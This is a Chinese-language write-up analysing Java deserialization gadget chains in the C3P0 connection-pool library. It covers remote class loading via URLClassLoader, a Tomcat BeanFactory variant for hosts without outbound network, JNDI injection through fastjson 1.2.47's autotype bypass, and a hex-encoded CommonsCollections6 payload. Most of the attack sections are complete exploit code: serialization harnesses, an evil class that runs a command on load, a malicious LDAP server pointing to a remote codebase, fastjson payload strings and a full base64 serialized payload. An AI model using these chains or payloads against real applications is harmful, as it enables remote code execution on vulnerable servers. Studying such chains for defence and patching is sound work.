概念
C3P0是一个开源的JDBC连接池,它实现了数据源与JNDI绑定,支持JDBC3规范和JDBC2的标准扩展说明的Connection和Statement池的DataSources对象。
即将用于连接数据库的连接整合在一起形成一个随取随用的数据库连接池。
DataSource
数据源。为了提高系统性能,在真实的Java项目中通常不会使用原生的JDBC的DriverManager去连接数据库,而是使用数据源(java.sql.DataSource)来代替DriverManager管理数据库的连接。
其中C3P0就是一种常见的数据源,它允许应用程序重复使用一个现有的数据库连接,而不是再重新建立一个。他提供了高效管理和复用数据库连接的功能。
环境搭建
- jdk 8u192
- com.mchange:c3p0:0.9.5.2
- com.mchange:mchange-commons-java:0.2.11
1 2 3 4 5 6 7 8 9 10
| <dependency> <groupId>com.mchange</groupId> <artifactId>c3p0</artifactId> <version>0.9.5.2</version> </dependency> <dependency> <groupId>com.mchange</groupId> <artifactId>mchange-commons-java</artifactId> <version>0.2.11</version> </dependency>
|
使用
通过代码:
1 2 3 4 5 6 7 8
| ComboPooledDataSource source = new ComboPooledDataSource();
source.setDriverClass("com.mysql.jdbc.Driver"); source.setJdbcUrl("jdbc:mysql://127.0.0.1:3306/mysql"); source.setUser("root"); source.setPassword("root");
Connection connection = source.getConnection();
|
通过配置文件:
c3p0-config.xml
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
| <c3p0-config> <default-config> <property name="driverClass">com.mysql.jdbc.Driver</property> <property name="jdbcUrl"> <![CDATA[jdbc:mysql://127.0.0.1:3306/mysql]]> </property> <property name="user">root</property> <property name="password">root</property> <property name="initialPoolSize">2</property> <property name="maxIdleTime">30</property> <property name="maxPoolSize">10</property> <property name="minPoolSize">2</property> <property name="maxStatements">50</property> </default-config> </c3p0-config>
|
然后直接实例化对象即可:
1 2 3
| ComboPooledDataSource source = new ComboPooledDataSource();
Connection connection = source.getConnection();
|
URLClassLoader远程类加载
原理分析
利用链:
1 2 3 4 5
| com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase#readObject ↓ ReferenceIndirector$ReferenceSerialized#getObject ↓ ReferenceableUtils.referenceToObject
|
漏洞点位于com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase#readObject方法:

这里反序列化对象依次读取connectionPoolDataSource和dataSourceName等字段,而如果对象类型为IndirectlySerialized,则会调用getObject方法
下方获取extensions也有同样的操作:

同时可以发现只有ReferenceIndirector类下ReferenceSerialized静态类实现了这个接口,跟进到getObject方法

这里会初始化上下文,并调用lookup方法,发起一次JNDI请求,如果contextName可控,那么这里我们就能够进行JNDI注入
而如何控制变量o为ReferenceSerialized对象呢?
回到PoolBackedDataSourceBase类,定位到它的writeObject方法:


调用了原生writeObject方法,且connectionPoolDataSource是一个ConnectionPoolDataSource对象,但该对象并没有实现Serializable接口:

也就是说,当connectionPoolDataSource不为null时,当触发序列化时,会由于这个对象没有实现Serializable接口,而抛出NotSerializableException异常,走catch代码块。其中调用com.mchange.v2.naming.ReferenceIndirector#indirectForm方法,方法正好返回一个ReferenceSerialized对象:

这里还会将connectionPoolDataSource变量强制转换为Referenceable接口
即当connectionPoolDataSource不为null时,类型为ConnectionPoolDataSource时,获取connectionPoolDataSource变量时,反序列化出来的会是一个ReferenceSerialized对象
所以我们需要准备一个PoolBackedDataSourceBase对象,其存在setter方法所以可以将connectionPoolDataSource修改为ConnectionPoolDataSource对象。而由于强制转换的原因,还需要满足为Referenceable对象,由于反序列化中并没有用到该类,所以我们可以自行实现这个类,Referenceable接口的getReference方法我们可以自己重写,返回一个可控的Reference对象:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33
| import com.mchange.v2.c3p0.PooledDataSource; import javax.sql.PooledConnection;
import javax.naming.NamingException; import javax.naming.Reference; import javax.naming.Referenceable; import javax.sql.ConnectionPoolDataSource; import java.io.PrintWriter; import java.sql.SQLException; import java.sql.SQLFeatureNotSupportedException; import java.util.logging.Logger;
public final class PoolSource implements ConnectionPoolDataSource, Referenceable { private String className; private String url;
public PoolSource(String className, String url) { this.className = className; this.url = url; }
@Override public Reference getReference() throws NamingException { return new Reference("b1uel0n3", this.className, this.url); } public PrintWriter getLogWriter () throws SQLException {return null;} public void setLogWriter ( PrintWriter out ) throws SQLException {} public void setLoginTimeout ( int seconds ) throws SQLException {} public int getLoginTimeout () throws SQLException {return 0;} public Logger getParentLogger () throws SQLFeatureNotSupportedException {return null;} public PooledConnection getPooledConnection () throws SQLException {return null;} public PooledConnection getPooledConnection ( String user, String password ) throws SQLException {return null;} }
|
但这里由于contextName不可控,所以不能触发JNDI注入
继续跟进ReferenceSerialized#getObject方法:

调用了ReferenceableUtils.referenceToObject方法:

获取工厂地址,实例化URLClassLoader作为类加载器,在调用Class.forName时会加载指定URL所指向的类或资源,最后实例化这个类
exp
evil.java:
1 2 3 4 5 6 7 8 9 10 11
| import java.io.IOException;
public class evil { static { try { Runtime.getRuntime().exec("calc.exe"); } catch (IOException e) { e.printStackTrace(); } } }
|
javac编译后放到制定路径下即可
还需要注意,不能尝试在较低版本的 Java 运行时环境中运行一个使用更高版本编译的类,这会导致无法加载这个类。其次是实例化时会进行强转,为了避免加载失败,可将恶意代码写进静态代码块中,在Class.forName处触发。
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50
| import com.mchange.v2.c3p0.PoolBackedDataSource; import com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase;
import javax.naming.NamingException; import javax.naming.Reference; import javax.naming.Referenceable; import javax.sql.ConnectionPoolDataSource; import javax.sql.PooledConnection; import java.beans.PropertyVetoException; import java.io.*; import java.sql.SQLException; import java.sql.SQLFeatureNotSupportedException; import java.util.logging.Logger;
public class c3p0 { public static void main(String[] args) throws Exception { PoolBackedDataSourceBase poolBackedDataSourceBase = new PoolBackedDataSourceBase(false); poolBackedDataSourceBase.setConnectionPoolDataSource(new PoolSource("evil", "http://127.0.0.1:5432/"));
ByteArrayOutputStream baos = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(baos); oos.writeObject(poolBackedDataSourceBase);
ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray()); ObjectInputStream ois = new ObjectInputStream(bais); ois.readObject(); }
public static final class PoolSource implements ConnectionPoolDataSource, Referenceable { private String className; private String url;
public PoolSource(String className, String url) { this.className = className; this.url = url; }
@Override public Reference getReference() throws NamingException { return new Reference("b1uel0n3", this.className, this.url); } public PrintWriter getLogWriter () throws SQLException {return null;} public void setLogWriter ( PrintWriter out ) throws SQLException {} public void setLoginTimeout ( int seconds ) throws SQLException {} public int getLoginTimeout () throws SQLException {return 0;} public Logger getParentLogger () throws SQLFeatureNotSupportedException {return null;} public PooledConnection getPooledConnection () throws SQLException {return null;} public PooledConnection getPooledConnection ( String user, String password ) throws SQLException {return null;} } }
|


不出网利用
当目标环境不出网时,URLClassLoader加载类的方式将不能利用
ReferenceableUtils.referenceToObject方法后紧跟调用getObjectInstance方法,可尝试利用本地工厂:

这里我们加载本地类的加载即可,以Tomcat8为例:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| <dependencies> <dependency> <groupId>org.apache.tomcat</groupId> <artifactId>tomcat-dbcp</artifactId> <version>9.0.8</version> </dependency> <dependency> <groupId>org.apache.tomcat</groupId> <artifactId>tomcat-catalina</artifactId> <version>9.0.8</version> </dependency> <dependency> <groupId>org.apache.tomcat</groupId> <artifactId>tomcat-jasper</artifactId> <version>9.0.8</version> </dependency> </dependencies>
|
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51
|
import com.mchange.v2.c3p0.PoolBackedDataSource; import com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase; import org.apache.naming.ResourceRef;
import javax.naming.NamingException; import javax.naming.Reference; import javax.naming.Referenceable; import javax.naming.StringRefAddr; import javax.sql.ConnectionPoolDataSource; import javax.sql.PooledConnection; import java.beans.PropertyVetoException; import java.io.*; import java.sql.SQLException; import java.sql.SQLFeatureNotSupportedException; import java.util.logging.Logger;
public class c3p0 { public static void main(String[] args) throws Exception { PoolBackedDataSourceBase poolBackedDataSourceBase = new PoolBackedDataSourceBase(false); poolBackedDataSourceBase.setConnectionPoolDataSource(new PoolSource());
ByteArrayOutputStream baos = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(baos); oos.writeObject(poolBackedDataSourceBase);
ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray()); ObjectInputStream ois = new ObjectInputStream(bais); ois.readObject(); }
public static final class PoolSource implements ConnectionPoolDataSource, Referenceable { @Override public Reference getReference() throws NamingException { ResourceRef resourceRef = new ResourceRef("javax.el.ELProcessor", (String) null, "", "", true, "org.apache.naming.factory.BeanFactory", (String) null); resourceRef.add(new StringRefAddr("forceString", "faster=eval")); resourceRef.add(new StringRefAddr("faster", "Runtime.getRuntime().exec(\"calc.exe\")")); return resourceRef; } public PrintWriter getLogWriter () throws SQLException {return null;} public void setLogWriter ( PrintWriter out ) throws SQLException {} public void setLoginTimeout ( int seconds ) throws SQLException {} public int getLoginTimeout () throws SQLException {return 0;} public Logger getParentLogger () throws SQLFeatureNotSupportedException {return null;} public PooledConnection getPooledConnection () throws SQLException {return null;} public PooledConnection getPooledConnection ( String user, String password ) throws SQLException {return null;} } }
|

JNDI注入
原理分析
JNDI 注入的这条链子依赖于 jackson 或者 fastjson 的反序列化前置才能进行
调用链:
1 2 3 4 5 6 7 8 9
| JndiRefConnectionPoolDataSource#setLoginTime ↓ WrapperConnectionPoolDataSource#setLoginTime ↓ com.mchange.v2.c3p0.JndiRefForwardingDataSource#setLoginTime ↓ com.mchange.v2.c3p0.JndiRefForwardingDataSource#inner ↓ com.mchange.v2.c3p0.JndiRefForwardingDataSource#dereference
|
这里的漏洞开始触发点是由 FastJson 或者 jackson 的 set 方法调用触发的,本质上还是调用 JndiRefConnectionPoolDataSource 下的 setTime 方法,看看其具体内容
漏洞点在于com.mchange.v2.c3p0.JndiRefForwardingDataSource#dereference方法:

该方法能触发JNDI请求,需要jndiName可控

而只有inner方法调用了该方法:

需要满足cachedInner为null,接着搜索哪些方法调用了inner方法:

由于这个类没有被public修饰,外部是无法实例化的,所以无法通过CB链来直接调用getter方法
所以需要内部类来调用,而在**com.mchange.v2.c3p0.JndiRefConnectionPoolDataSource**类中实例化了JndiRefForwardingDataSource类:

但JndiRefConnectionPoolDataSource类中的方法基本调用了都是WrapperConnectionPoolDataSource对象的方法:

WrapperConnectionPoolDataSource的方法实现:

调用了getNestedDataSource方法:

而前面的**JndiRefConnectionPoolDataSource构造方法调用了wcpds.setNestedDataSource( jrfds );**:

即这里的getNestedDataSource()返回的就是JndiRefForwardingDataSource对象,意思就是JndiRefConnectionPoolDataSource中的getter和setter方法都是调用的JndiRefForwardingDataSource对象的方法,这样就能联系起来了
但这里我们还需要控制jndiName,其来源于getJndiName方法:

但这里JndiRefConnectionPoolDataSource提供了setJndiName方法,所以可以通过这个直接调用JndiRefForwardingDataSource
#setJndiName方法:

而调用JndiRefConnectionPoolDataSource的getter和setter方法只需要利用fastjson或者Jackson环境即可
exp
这里我用的是fastjson1.2.47的版本:
1 2 3 4 5
| <dependency> <groupId>com.alibaba</groupId> <artifactId>fastjson</artifactId> <version>1.2.47</version> </dependency>
|
我们需要通过 Class 类加载先把JndiRefConnectionPoolDataSource加载缓存 mapping 中绕过 checkautotype 的检测
1
| String text = "{\"@type\":\"java.lang.Class\",\"val\":\"JndiRefConnectionPoolDataSource\"}";
|
然后再实例化一个对象触发漏洞
exp:
1 2 3 4 5 6 7 8 9 10
| import com.alibaba.fastjson.JSON; import com.mchange.v2.c3p0.JndiRefConnectionPoolDataSource; public class C3P0_1 { public static void main(String[] args) throws Exception { String text = "{\"1\":{\"@type\":\"java.lang.Class\",\"val\":\"com.mchange.v2.c3p0.JndiRefConnectionPoolDataSource\"}, " + "\"2\":{\"@type\":\"com.mchange.v2.c3p0.JndiRefConnectionPoolDataSource\",\"JndiName\":\"ldap://127.0.0.1:9999/evil\", \"LoginTimeout\":\"0\",\"autoCommit\":true}}"; JSON.parseObject(text); } }
|
evil.java:
1 2 3 4 5 6 7 8 9 10 11
| import java.io.IOException;
public class evil { static { try { Runtime.getRuntime().exec("calc.exe"); } catch (IOException e) { e.printStackTrace(); } } }
|
evil_jndi.java:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90
| import com.unboundid.ldap.listener.InMemoryDirectoryServer; import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig; import com.unboundid.ldap.listener.InMemoryListenerConfig; import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult; import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor; import com.unboundid.ldap.sdk.Entry; import com.unboundid.ldap.sdk.LDAPException; import com.unboundid.ldap.sdk.LDAPResult; import com.unboundid.ldap.sdk.ResultCode;
import javax.net.ServerSocketFactory; import javax.net.SocketFactory; import javax.net.ssl.SSLSocketFactory; import java.net.InetAddress; import java.net.MalformedURLException; import java.net.URL;
public class evil_jndi {
private static final String LDAP_BASE = "dc=example,dc=com";
public static void main ( String[] tmp_args ) { String[] args=new String[]{"http://127.0.0.1:5432/#evil"}; int port = 9999;
try { InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE); config.setListenerConfigs(new InMemoryListenerConfig( "listen", InetAddress.getByName("0.0.0.0"), port, ServerSocketFactory.getDefault(), SocketFactory.getDefault(), (SSLSocketFactory) SSLSocketFactory.getDefault()));
config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(args[ 0 ])));
InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config); System.out.println("Listening on 0.0.0.0:" + port); ds.startListening();
} catch ( Exception e ) { e.printStackTrace(); } }
private static class OperationInterceptor extends InMemoryOperationInterceptor {
private URL codebase;
public OperationInterceptor ( URL cb ) { this.codebase = cb; }
@Override public void processSearchResult ( InMemoryInterceptedSearchResult result ) { String base = result.getRequest().getBaseDN(); Entry e = new Entry(base); try { sendResult(result, base, e); } catch ( Exception e1 ) { e1.printStackTrace(); } }
protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException { URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class")); System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl); e.addAttribute("javaClassName", "b1uel0n3"); String cbstring = this.codebase.toString(); int refPos = cbstring.indexOf('#'); if ( refPos > 0 ) { cbstring = cbstring.substring(0, refPos); }
e.addAttribute("javaCodeBase", cbstring); e.addAttribute("objectClass", "javaNamingReference"); e.addAttribute("javaFactory", this.codebase.getRef()); result.sendSearchEntry(e); result.setResult(new LDAPResult(0, ResultCode.SUCCESS)); } } }
|


hex序列化
漏洞原理
这条链子同样需要fastjson作为前置条件
调用链:
1 2 3 4 5 6 7 8 9 10 11
| WrapperConnectionPoolDataSource#setUserOverridesAsString ↓ VetoableChangeSupport#fireVetoableChange ↓ WrapperConnectionPoolDataSource#vetoableChange ↓ C3P0ImplUtils#parseUserOverridesAsString ↓ SerializableUtils#fromByteArray ↓ SerializableUtils#deserializeFromByteArray
|
定位到WrapperConnectionPoolDataSource类的构造方法:

调用了C3P0ImplUtils.parseUserOverridesAsString方法:


如果输入userOverridesAsString 不为空,则会先调用userOverridesAsString.substring方法进行截取然后调用ByteUtils.fromHexAscii( hexAscii );:将十六进制ASCII码转换为字节数组,最后调用fromByteArray方法:

跟进deserializeFromByteArray方法:

他会对转化后的字节数组进行反序列化
所以如果一开始传进去的的this.getUserOverridesAsString() 可控,那么我们就能实现恶意反序列化

而我们发现WrapperConnectionPoolDataSource类存在setter方法:

所以我们可以想到fastjson来构造
exp
这里我们用CC6进行利用:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44
| import java.io.*; import java.lang.reflect.Field; import java.util.Base64; import java.util.HashMap; import java.util.Map; import java.lang.Runtime;
import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.keyvalue.TiedMapEntry; import org.apache.commons.collections.map.LazyMap;
public class CC6 { public static void main(String[] args) throws Exception { Transformer[] faketransformers = new Transformer[]{new ConstantTransformer(1)};
ConstantTransformer Runtime = new ConstantTransformer(Runtime.class); InvokerTransformer getRuntime=new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime",new Class[0]}); InvokerTransformer invoke=new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}); InvokerTransformer exec=new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"}); ConstantTransformer l = new ConstantTransformer(1); Transformer[] transformers=new Transformer[]{Runtime,getRuntime,invoke,exec,l}; ChainedTransformer chain=new ChainedTransformer(faketransformers);
Map innermap=new HashMap(); Map Lazymap=LazyMap.decorate(innermap, chain); TiedMapEntry tiedMapEntry=new TiedMapEntry(Lazymap,"111"); Map map=new HashMap(); map.put(tiedMapEntry,"b1uel0n3"); innermap.remove("111");
Field field=chain.getClass().getDeclaredField("iTransformers"); field.setAccessible(true); field.set(chain,transformers);
ByteArrayOutputStream baos = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(baos); oos.writeObject(map); byte[] byteArray = baos.toByteArray(); System.out.println(Base64.getEncoder().encodeToString(byteArray)); } }
|
1
| rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcAUH2sHDFmDRAwACRgAKbG9hZEZhY3RvckkACXRocmVzaG9sZHhwP0AAAAAAAAx3CAAAABAAAAABc3IANG9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5rZXl2YWx1ZS5UaWVkTWFwRW50cnmKrdKbOcEf2wIAAkwAA2tleXQAEkxqYXZhL2xhbmcvT2JqZWN0O0wAA21hcHQAD0xqYXZhL3V0aWwvTWFwO3hwdAADMTExc3IAKm9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5tYXAuTGF6eU1hcG7llIKeeRCUAwABTAAHZmFjdG9yeXQALExvcmcvYXBhY2hlL2NvbW1vbnMvY29sbGVjdGlvbnMvVHJhbnNmb3JtZXI7eHBzcgA6b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmZ1bmN0b3JzLkNoYWluZWRUcmFuc2Zvcm1lcjDHl+woepcEAgABWwANaVRyYW5zZm9ybWVyc3QALVtMb3JnL2FwYWNoZS9jb21tb25zL2NvbGxlY3Rpb25zL1RyYW5zZm9ybWVyO3hwdXIALVtMb3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLlRyYW5zZm9ybWVyO71WKvHYNBiZAgAAeHAAAAAFc3IAO29yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5mdW5jdG9ycy5Db25zdGFudFRyYW5zZm9ybWVyWHaQEUECsZQCAAFMAAlpQ29uc3RhbnRxAH4AA3hwdnIAEWphdmEubGFuZy5SdW50aW1lAAAAAAAAAAAAAAB4cHNyADpvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuZnVuY3RvcnMuSW52b2tlclRyYW5zZm9ybWVyh+j/a3t8zjgCAANbAAVpQXJnc3QAE1tMamF2YS9sYW5nL09iamVjdDtMAAtpTWV0aG9kTmFtZXQAEkxqYXZhL2xhbmcvU3RyaW5nO1sAC2lQYXJhbVR5cGVzdAASW0xqYXZhL2xhbmcvQ2xhc3M7eHB1cgATW0xqYXZhLmxhbmcuT2JqZWN0O5DOWJ8QcylsAgAAeHAAAAACdAAKZ2V0UnVudGltZXVyABJbTGphdmEubGFuZy5DbGFzczurFteuy81amQIAAHhwAAAAAHQACWdldE1ldGhvZHVxAH4AGwAAAAJ2cgAQamF2YS5sYW5nLlN0cmluZ6DwpDh6O7NCAgAAeHB2cQB+ABtzcQB+ABN1cQB+ABgAAAACcHVxAH4AGAAAAAB0AAZpbnZva2V1cQB+ABsAAAACdnIAEGphdmEubGFuZy5PYmplY3QAAAAAAAAAAAAAAHhwdnEAfgAYc3EAfgATdXEAfgAYAAAAAXQACGNhbGMuZXhldAAEZXhlY3VxAH4AGwAAAAFxAH4AIHNxAH4AD3NyABFqYXZhLmxhbmcuSW50ZWdlchLioKT3gYc4AgABSQAFdmFsdWV4cgAQamF2YS5sYW5nLk51bWJlcoaslR0LlOCLAgAAeHAAAAABc3EAfgAAP0AAAAAAAAx3CAAAABAAAAAAeHh0AAhiMXVlbDBuM3g=
|
ByteUtils中提供了字节数组转hex操作:

之后还需要添加上HASM_HEADER和尾部的一个字符,需要注意截取范围:
1 2 3 4 5
| String HASM_HEADER = "HexAsciiSerializedMap:";
byte[] exp = Base64.getDecoder().decode("rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcAUH2sHDFmDRAwACRgAKbG9hZEZhY3RvckkACXRocmVzaG9sZHhwP0AAAAAAAAx3CAAAABAAAAABc3IANG9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5rZXl2YWx1ZS5UaWVkTWFwRW50cnmKrdKbOcEf2wIAAkwAA2tleXQAEkxqYXZhL2xhbmcvT2JqZWN0O0wAA21hcHQAD0xqYXZhL3V0aWwvTWFwO3hwdAADMTExc3IAKm9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5tYXAuTGF6eU1hcG7llIKeeRCUAwABTAAHZmFjdG9yeXQALExvcmcvYXBhY2hlL2NvbW1vbnMvY29sbGVjdGlvbnMvVHJhbnNmb3JtZXI7eHBzcgA6b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmZ1bmN0b3JzLkNoYWluZWRUcmFuc2Zvcm1lcjDHl+woepcEAgABWwANaVRyYW5zZm9ybWVyc3QALVtMb3JnL2FwYWNoZS9jb21tb25zL2NvbGxlY3Rpb25zL1RyYW5zZm9ybWVyO3hwdXIALVtMb3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLlRyYW5zZm9ybWVyO71WKvHYNBiZAgAAeHAAAAAFc3IAO29yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5mdW5jdG9ycy5Db25zdGFudFRyYW5zZm9ybWVyWHaQEUECsZQCAAFMAAlpQ29uc3RhbnRxAH4AA3hwdnIAEWphdmEubGFuZy5SdW50aW1lAAAAAAAAAAAAAAB4cHNyADpvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuZnVuY3RvcnMuSW52b2tlclRyYW5zZm9ybWVyh+j/a3t8zjgCAANbAAVpQXJnc3QAE1tMamF2YS9sYW5nL09iamVjdDtMAAtpTWV0aG9kTmFtZXQAEkxqYXZhL2xhbmcvU3RyaW5nO1sAC2lQYXJhbVR5cGVzdAASW0xqYXZhL2xhbmcvQ2xhc3M7eHB1cgATW0xqYXZhLmxhbmcuT2JqZWN0O5DOWJ8QcylsAgAAeHAAAAACdAAKZ2V0UnVudGltZXVyABJbTGphdmEubGFuZy5DbGFzczurFteuy81amQIAAHhwAAAAAHQACWdldE1ldGhvZHVxAH4AGwAAAAJ2cgAQamF2YS5sYW5nLlN0cmluZ6DwpDh6O7NCAgAAeHB2cQB+ABtzcQB+ABN1cQB+ABgAAAACcHVxAH4AGAAAAAB0AAZpbnZva2V1cQB+ABsAAAACdnIAEGphdmEubGFuZy5PYmplY3QAAAAAAAAAAAAAAHhwdnEAfgAYc3EAfgATdXEAfgAYAAAAAXQACGNhbGMuZXhldAAEZXhlY3VxAH4AGwAAAAFxAH4AIHNxAH4AD3NyABFqYXZhLmxhbmcuSW50ZWdlchLioKT3gYc4AgABSQAFdmFsdWV4cgAQamF2YS5sYW5nLk51bWJlcoaslR0LlOCLAgAAeHAAAAABc3EAfgAAP0AAAAAAAAx3CAAAABAAAAAAeHh0AAhiMXVlbDBuM3g="); String hex = ByteUtils.toHexAscii(exp); String fullhex = HASM_HEADER + hex + ";";
|
fastjson环境是1.2.47
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| import com.alibaba.fastjson.JSON; import com.mchange.lang.ByteUtils; import com.mchange.v2.c3p0.WrapperConnectionPoolDataSource;
import java.util.Base64;
class C3P0_2 { public static void main(String[] args) throws Exception { String HASM_HEADER = "HexAsciiSerializedMap:";
byte[] exp = Base64.getDecoder().decode("rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcAUH2sHDFmDRAwACRgAKbG9hZEZhY3RvckkACXRocmVzaG9sZHhwP0AAAAAAAAx3CAAAABAAAAABc3IANG9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5rZXl2YWx1ZS5UaWVkTWFwRW50cnmKrdKbOcEf2wIAAkwAA2tleXQAEkxqYXZhL2xhbmcvT2JqZWN0O0wAA21hcHQAD0xqYXZhL3V0aWwvTWFwO3hwdAADMTExc3IAKm9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5tYXAuTGF6eU1hcG7llIKeeRCUAwABTAAHZmFjdG9yeXQALExvcmcvYXBhY2hlL2NvbW1vbnMvY29sbGVjdGlvbnMvVHJhbnNmb3JtZXI7eHBzcgA6b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmZ1bmN0b3JzLkNoYWluZWRUcmFuc2Zvcm1lcjDHl+woepcEAgABWwANaVRyYW5zZm9ybWVyc3QALVtMb3JnL2FwYWNoZS9jb21tb25zL2NvbGxlY3Rpb25zL1RyYW5zZm9ybWVyO3hwdXIALVtMb3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLlRyYW5zZm9ybWVyO71WKvHYNBiZAgAAeHAAAAAFc3IAO29yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5mdW5jdG9ycy5Db25zdGFudFRyYW5zZm9ybWVyWHaQEUECsZQCAAFMAAlpQ29uc3RhbnRxAH4AA3hwdnIAEWphdmEubGFuZy5SdW50aW1lAAAAAAAAAAAAAAB4cHNyADpvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuZnVuY3RvcnMuSW52b2tlclRyYW5zZm9ybWVyh+j/a3t8zjgCAANbAAVpQXJnc3QAE1tMamF2YS9sYW5nL09iamVjdDtMAAtpTWV0aG9kTmFtZXQAEkxqYXZhL2xhbmcvU3RyaW5nO1sAC2lQYXJhbVR5cGVzdAASW0xqYXZhL2xhbmcvQ2xhc3M7eHB1cgATW0xqYXZhLmxhbmcuT2JqZWN0O5DOWJ8QcylsAgAAeHAAAAACdAAKZ2V0UnVudGltZXVyABJbTGphdmEubGFuZy5DbGFzczurFteuy81amQIAAHhwAAAAAHQACWdldE1ldGhvZHVxAH4AGwAAAAJ2cgAQamF2YS5sYW5nLlN0cmluZ6DwpDh6O7NCAgAAeHB2cQB+ABtzcQB+ABN1cQB+ABgAAAACcHVxAH4AGAAAAAB0AAZpbnZva2V1cQB+ABsAAAACdnIAEGphdmEubGFuZy5PYmplY3QAAAAAAAAAAAAAAHhwdnEAfgAYc3EAfgATdXEAfgAYAAAAAXQACGNhbGMuZXhldAAEZXhlY3VxAH4AGwAAAAFxAH4AIHNxAH4AD3NyABFqYXZhLmxhbmcuSW50ZWdlchLioKT3gYc4AgABSQAFdmFsdWV4cgAQamF2YS5sYW5nLk51bWJlcoaslR0LlOCLAgAAeHAAAAABc3EAfgAAP0AAAAAAAAx3CAAAABAAAAAAeHh0AAhiMXVlbDBuM3g="); String hex = ByteUtils.toHexAscii(exp); String fullhex = HASM_HEADER + hex + ";"; String text = "{\"1\":{\"@type\":\"java.lang.Class\",\"val\":\"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource\"}, " + "\"2\":{\"@type\":\"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource\",\"userOverridesAsString\":\""+fullhex+"\",\"autoCommit\":true}}"; JSON.parseObject(text); } }
|

但这有个问题,就是fastjson在利用时是先实例化类再调用setter和getter方法的,那么在实例化时导致getUserOverridesAsString方法返回默认值null,那么这又是如何执行的呢?
这是因为setUserOverridesAsString方法底下的逻辑:

经过eqOrBothNull方法判断:

在第一次调用时oldVal为null,返回false,这会导致进入if语句:


vcc默认为VetoableChangeSupport对象,然后调用fireVetoableChange方法,这里由于oldVal为空调用fireVetoableChange的另一个重载方法:

listeners[current]这里会取出WrapperConnectionPoolDataSource对象,跟进vetoableChange方法:

分别获取变量名和值

如果变量名是userOverridesAsString,会在这触发C3P0ImplUtils.parseUserOverridesAsString方法,传入设置的值
所以真正的调用链应该是从setUserOverridesAsString方法开始
1 2 3 4 5 6 7 8 9 10 11
| WrapperConnectionPoolDataSource#setUserOverridesAsString ↓ VetoableChangeSupport#fireVetoableChange ↓ WrapperConnectionPoolDataSource#vetoableChange ↓ C3P0ImplUtils#parseUserOverridesAsString ↓ SerializableUtils#fromByteArray ↓ SerializableUtils#deserializeFromByteArray
|